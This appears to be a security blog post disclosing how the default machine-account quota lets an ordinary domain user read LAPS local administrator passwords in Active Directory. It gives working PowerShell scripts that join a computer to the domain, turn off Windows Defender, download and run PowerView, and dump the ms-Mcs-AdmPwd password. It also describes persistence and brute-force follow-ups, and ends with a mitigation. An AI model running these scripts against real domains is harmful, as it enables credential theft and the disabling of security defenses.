Abusing LAPS

Introduction
This blog post explains a misconfiguration based flaw about Local Administrator Password Solution. ms-DS-Machine-Account-Quota is defined as “The number of computer accounts that a user is allowed to create in a domain." The ms-DS-Machine-Account-Quota is attribute that defines number of computer accounts could be joined to  domain by domain user. ms-Mcs-AdmPwd is attribute that stores the clear-text local Administrator password for the computer object. It can be set on each computer after LAPS installation for domain environment. “The ‘Local Administrator Password Solution’ (LAPS) provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory (AD) and protected by ACL, so only eligible users can read it or request its reset.” If the ms-DS-Machine-Account-Quota attribute is default and there is no delegation about domain join permissions to add computer to Active Directory , a domain user can add computer account to active directory domain using the ms-ds-machine-account-quota attribute which is set “10” value as default. So that user can read ms-Mcs-AdmPwd attribute value by obtaining Owner Rights on computer that is added by himself even if LAPS configuration is completed correctly . 
Domain user gainsAll extended rights over the computer account even if All extended rights permissions are disabled on Organizational Unit and all descendant objects during LAPS configuration process.(Microsoft LAPS_OperationsGuide.docx document) So that domain user reads password of local administrator user and uses the password for persistence. The user can bypass GPO restrictions obtaining password of local admin user. For example, user can edit registry settings or add own account to local administrators group after GPO which removes undefined users from local administrators group. Also attacker can obtain information about complexity of Administrator passwords and create wordlist according to complexity policies. Then attacker can conduct bruteforce attack against to Administrator user that was not locked never.
Scenario
Domain name: offensive.local,  samAccountName: mkandemir 
organizational unit (OU): DomainComputers
Assuming that mkandemir is a domain user that has privilege of adding computer account to domain offensive.local up to 10 default (ms-ds-machine-account-quota) and  there is no delegation about domain join permissions to add computer to Active Directory.   Laps configuration is applied for DomainComputers organizational unit that includes adding new computer accounts. According to below configuration , only system and members of Domain Admins group reads local admin passwords so mkandemir domain user must not read local Administrator password (ms-Mcs-AdmPwd) in the teory. Configuration is applied according to Microsoft “LAPS_TechnicalSpecification” Word document. In Stage 6.2, it says “Delegation of permissions on computers accounts is performed on OU (OUs) that contain computer accounts in scope of the solution.”
Remove All Extended rights permission
Add Write permission to ms-Mcs-AdmPwdExpirationTime and ms-Mcs-AdmPwd attributes to SELF
Add CONTROL_ACCESS permission to ms-Mcs-AdmPwd attribute
Add Write permission to ms-Mcs-AdmPwdExpirationTime attribute
Setup of auditing of password reads
Permissions for DomainComputers  are following before a computer is added to organizational unit by mkandemir user.
Proof of Concept
Open non-domain joined Windows virtual machine.
Download LAPS.x64.msi and install it with powershell module extension (AdmPwd.PS)
Import AdmPwd.PS
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Import-Module AdmPwd.PS
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Add computer to Active Directory with domain user creds:
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Add-ComputerToDomainWithUserRights
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Read local admin password and determine password policy:
If you are still a member of local administrators after updating GPO.
Read ms-mcs-admpwd attribute via PowerView.ps1:
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Get-LapsLocalAdminPassword -disableDefender
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If you are not a member of local administrators after updating GPO.
Read ms-mcs-admpwd attribute via AdmPwd.PS:
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Get-LapsAdmPwd -LapsInstalled
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Details
Joining Computer Account to Active Directory using ms-DS-Machine-Account-Quota attribute default value
offensive\mkandemir user adds computer (DESKTOP-G8E7GKM) and obtains local Administrator rights before computer is rebooted. Basic powershell script could be used for joining domain and adding account to local administrators group.
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function Add-ComputerToDomainWithUserRights {
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<#
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.SYNOPSIS
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    This script joins a computer to domain with domain user rights by using ms-DS-Machine-Account-Quota attribute.
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    Also, adds domain user to local Administrators group.
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​
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.PARAMETER dcIp
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    The parameter dcIp is used to define the IPv4 address of Domain Controller.
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​
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.PARAMETER dName
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    The parameter dName is used to define the Domain Name.
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​
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.PARAMETER uName
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    The parameter uName is used to define the value of Domain User samAccountName attribute. 
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.PARAMETER restart
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    The parameter restart is used to restart computer after adding process.
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​
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.EXAMPLE
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    PS C:\> Add-ComputerToDomainWithUserRights -restart
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    PS C:\> Add-ComuterToDomainWithUserRights
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​
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.NOTES
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    Windows Powershell must be run as Administrator on computer that will be joined to domain.
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    If running script is disabled on your system, execute following command firstly:
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    Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
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#>
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    param (
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        [string]$dcIp = $(Read-Host -Prompt '[*] Domain Controller IPv4 address '),
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        [string]$dName = $(Read-Host -Prompt '[*] Domain Name '),
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        [string]$uName = $(Read-Host -Prompt '[*] Domain UserName '),
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        [switch]$restart
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    ) 
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    begin {
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        Get-NetAdapter
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        [int]$index = $(Read-Host -Prompt '[*] index of interface ')
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    }
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    process {
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        Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dcIp -ErrorAction Stop
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        Write-Host "[*] Adding computer account to Active Directory." -ForegroundColor Yellow
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        Add-Computer -DomainName $dName -Credential $dName\$uName -Verbose -ErrorAction Stop
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        Add-LocalGroupMember -Group "Administrators" -Member "$dName\$uName"
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        Write-Host "[+] $uName domain user is added to local administrators group." -ForegroundColor Green
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        Write-Host "[*] Restarting is required to achieve adding process." -ForegroundColor Yellow
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        if ($restart) {
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            Restart-Computer
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        } else {
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            Write-Host "[-] Computer restarting is cancelled!" -ForegroundColor Red
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        }
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​
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    } 
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    }  
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​
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The user restarts computer after this process and logs on DESKTOP-G8E7GKM computer as offensive\mkandemir domain user.
Reading ms-Mcs-AdmPwd attribute
a) If there is no a group policy object(GPO) that defines who are local users so that mkandemir user remains local admin after computer is rebooted.
mkandemir user can read ms-Mcs-AdmPwd attribute using Get-NetComputer cmdlet from PowerView.ps1 . However PowerView.ps1 is detected by Windows Defender that must be disabled so local admin right is required. The user can disable Defender and read local administrator password even if All extended rights permission is removed from users and groups before computer adding process. Above LAPS configuration defines Domain Admins group is authorized for reading local admin passwords but mkandemir user can gain All Extended Rights over DESKTOP-G8E7GKM object that added by himself. This is possible because ms-DS-Machine-Account-Quota attribute value is 10 defaultly.
Reading ms-Mcs-AdmPwd attribute that stores local admin user password (with Powerview.ps1):
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function Get-LapsLocalAdminPassword {
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    <#
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    .SYNOPSIS
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        This script reads ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attributes if user have all
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        extended rights on computer account.
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    .PARAMETER pUrl
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        The parameter pUrl is used to define the URL of PowerView script.
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    .PARAMETER disableDefender
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        The parameter disableDefender is used to disable Windows Defender.
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    .EXAMPLE
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        PS C:\> Get-LocalAdminPassword -disableDefender
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    .NOTES
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        Windows Powershell should be run as domain user rights with local admin privileges.
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        If you have Internet connection during penetration test,powerview url is following.
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        https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
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        If running scripts is disabled on your system, execute following command firstly:
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        Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
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    #>
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    param (
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        [string]$pUrl = $(Read-Host -Prompt '[*] Url of Powerview.ps1 script '),
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        [switch]$disableDefender
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    )
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    begin {
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        Write-Host " Obtaining ms-mcs-admpwd attribute value via MS-DS-Machine-Account-Quota" -ForegroundColor Green
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    }
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    process {
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        $dPath = $env:USERPROFILE
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        Write-Host "UserProfile: $dPath" -ForegroundColor Yellow
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        $hName = $env:COMPUTERNAME
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        Write-Host "Computername: $hName" -ForegroundColor Yellow
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        Write-Host "[*] Windows Defender will be disabled for running PowerView.ps1 $disableDefender"
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    if ($disableDefender) {
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        Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable -ErrorAction Stop
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        Invoke-WebRequest $pUrl -OutFile $dPath\Desktop\PowerView.ps1 -TimeoutSec 30
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        Import-Module -Name $dPath\Desktop\PowerView.ps1
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        $admPwd = Get-DomainComputer -Identity $hName | Select-Object -Property ms-mcs-*
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        Write-Host "$admPwd" -ForegroundColor Green
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        $eTime = Read-Host -Prompt '[*] String admpwd expirationtime'
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        $expTime = cmd.exe /c "w32tm /ntte $eTime"
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        Write-Host "$expTime" -ForegroundColor Green
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    } else {
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        Write-Host "[-] Cancelled!" -ForegroundColor Red
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    }
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    }
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}
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b) If there is a group policy object (GPO) that defines who are local users so that mkandemir user does not remains local admin after computer is rebooted. To read ms-mcs-admpwd attribute value,  user must install LAPS management Powershell module (AdmPwd.PS) before adding computer to Active Directory. So that password could be read using AdmPwd.PS module.
Reading ms-Mcs-AdmPwd attribute that stores local admin user password (with AdmPwd.PS):
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function Get-LapsLocalAdminPassword {
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    <#
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    .SYNOPSIS
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        This script reads ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime attributes if user have all extended rights on computer account without
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        local admin privileges.
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    .PARAMETER LapsInstalled
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        The parameter LapsInstalled is used to define the AdmPwd.PS module is installed.
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​
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    .PARAMETER OtherComputer
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        The parameter OtherComputer is used to query for other computer.
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​
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    .EXAMPLE
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        PS C:\> Get-LocalAdminPassword –LapsInstalled
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	    PS C:\> Get-LocalAdminPassword –LapsInstalled -OtherComputer
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    .NOTES
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        Windows Powershell should be run as domain user rights. If GPO is applied which only specified users join local adminstrators group , this script could be executed without admin rights.  
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​
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        If running scripts is disabled on your system, execute following command firstly.
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        Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
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​
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    #>
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        param (
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            [switch]$LapsInstalled,
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            [switch]$OtherComputer
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        ) 
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        begin {
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            Write-Host "Obtaining ms-mcs-admpwd attribute value via MS-DS-Machine-Account-Quota" -ForegroundColor Green
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        }
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        process {
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            $dPath = $env:USERPROFILE
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            Write-Host "UserProfile: $dPath" -ForegroundColor Yellow
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            $hName = $env:COMPUTERNAME
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            Write-Host "Computername: $hName" -ForegroundColor Yellow
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            Write-Host "[*] Did you install LAPS management powershell module? $LapsInstalled"
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            if ($LapsInstalled) {
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                Import-Module AdmPwd.PS
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                Write-Host "[*] Would you like to query another computer account you added yourself? $otherComputer"
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                if ($OtherComputer) {
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                    $computer = Read-Host -Prompt "[*] Computer name "
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                    Get-AdmPwdPassword -ComputerName $computer | format-list -Property ComputerName, ExpirationTimestamp, Password  
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                } else {
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                    Get-AdmPwdPassword -ComputerName $hname | format-list -Property ComputerName, ExpirationTimestamp, Password 
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                }
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            } else {
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                Write-Host "[-] Cancelled!" -ForegroundColor Red
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            }
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            }
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​
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} 
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​
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Conclusion
If the ms-DS-Machine-Account-Quota attribute value is default and there is no delegation about domain join permissions to add computer to Active Directory , a domain user can add computer account to domain using the ms-ds-machine-account-quota attribute .  So that domain user reads password of local administrator user and uses the password for persistence. For example, user can edit registry settings or add own account to local administrators group after GPO which removes undefined users from local administrators group. Also, this is information disclosure vulnerability,(defining complexity is possible with GPRegistryPolicy) user can add computer and read LAPS password so that he can obtain information about complexity and length of other Administrator passwords. Because, LAPS carries out similar password property for all computer accounts that group policy is applied.
Mitigation
Microsoft LAPS 6.2 installation document don't handle this issue and they didn't update it.  You can make configuration according to Microsoft LAPS_OperationsGuide.docx and LAPS_TechnicalSpecification documents. 
​https://www.microsoft.com/en-us/download/confirmation.aspx?id=46899​
If Laps Administrator Password Solution is used, set ms-ds-machine-account-quota as "0" or delegation must be applied a user group for adding computer to domain. Otherwise user can add computer to domain and read local admin user password via LAPS misconfiguration. 
References
​https://docs.microsoft.com/tr-tr/windows/win32/adschema/a-ms-ds-machineaccountquota​
​https://www.microsoft.com/en-us/download/details.aspx?id=46899​
​https://docs.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota​
​https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1​
​https://download.microsoft.com/download/C/7/A/C7AAD914-A8A6-4904-88A1-29E657445D03/LAPS_OperationsGuide.docx​
​https://github.com/passtheticket/Abusing_Laps_Toolkit​
GitHub - PowerShell/GPRegistryPolicy
GitHub
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